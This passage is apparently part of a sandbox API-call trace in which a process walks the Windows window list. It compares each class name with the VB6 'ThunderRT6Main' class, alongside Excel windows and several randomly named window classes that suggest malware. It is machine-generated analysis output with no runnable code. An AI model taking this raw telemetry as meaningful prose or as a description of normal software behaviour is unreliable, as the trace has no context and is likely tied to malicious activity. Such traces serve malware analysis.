(hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0109.435] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.435] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.435] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0109.435] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.435] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.435] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0109.435] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.435] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.435] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0109.435] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0109.435] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.435] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0109.435] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.435] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.435] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.436] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0109.436] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.436] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0109.436] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0109.436] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.436] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0109.436] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0109.436] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.436] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0109.436] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0109.436] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0109.436] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0109.436] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0109.436] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0109.436] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.436] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.436] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.436] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0109.437] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.438] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.438] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.438] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0109.438] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.438] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.438] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.438] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0109.438] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.438] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.438] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.438] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0109.440] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.440] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.440] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.441] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0109.441] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0109.441] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0109.441] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.441] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0109.441] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.441] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.441] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.441] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0109.441] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0109.441] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0109.441] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0109.441] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.441] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.441] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0109.441] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0109.441] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0109.441] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0109.441] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0109.441] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0109.441] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0109.441] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0109.441] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.441] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0109.442] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0109.442] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0109.442] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0109.442] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.442] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0109.442] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0109.442] IsWindowEnabled (hWnd=0x302dc) returned 0 [0109.442] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0109.442] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0109.442] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0109.442] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0109.442] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0109.442] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0109.442] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0109.442] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.442] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0109.442] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0109.442] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0109.442] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0109.442] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.442] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.442] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.442] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0109.442] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0109.443] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0109.443] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0109.443] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.443] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.443] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.443] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0109.443] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0109.443] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0109.443] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0109.443] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.443] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.443] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.443] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0109.443] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0109.443] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0109.443] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0109.443] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.443] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.443] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.443] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0109.443] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0109.443] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0109.443] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0109.443] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0109.443] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0109.443] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.444] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0109.444] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0109.444] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.444] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.444] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0109.444] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0109.444] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0109.444] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0109.444] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.444] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0109.444] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0109.444] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0109.444] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0109.444] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0109.444] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0109.444] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.444] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0109.444] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0109.444] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0109.444] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0109.444] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0109.444] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0109.444] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.444] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0109.444] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0109.444] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0109.445] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0109.445] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.445] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.445] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.445] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0109.445] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0109.445] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0109.445] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0109.445] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.445] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.445] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.445] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0109.445] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0109.445] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0109.445] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0109.445] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.445] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.445] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.445] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0109.445] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0109.445] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0109.445] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0109.445] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.445] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.445] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.445] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0109.445] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0109.446] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0109.446] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0109.446] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0109.446] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0109.446] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.446] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0109.446] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0109.446] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0109.446] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0109.446] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0109.446] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0109.446] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0109.446] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0109.446] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0109.446] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0109.446] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.446] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0109.446] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0109.446] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0109.446] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0109.446] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.446] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0109.446] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0109.447] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0109.447] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0109.447] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0109.447] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0109.447] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.447] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0109.447] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0109.447] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0109.447] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0109.447] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0109.447] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0109.447] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0109.447] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0109.447] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0109.447] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0109.447] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0109.447] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0109.448] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0109.448] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0109.448] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0109.448] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0109.448] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0109.448] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0109.448] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0109.448] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0109.448] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0109.448] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0109.448] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0109.448] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0109.448] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0109.448] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0109.448] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.448] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0109.449] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0109.449] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0109.449] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0109.449] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0109.449] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0109.449] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0109.449] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0109.449] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0109.449] GetWindow 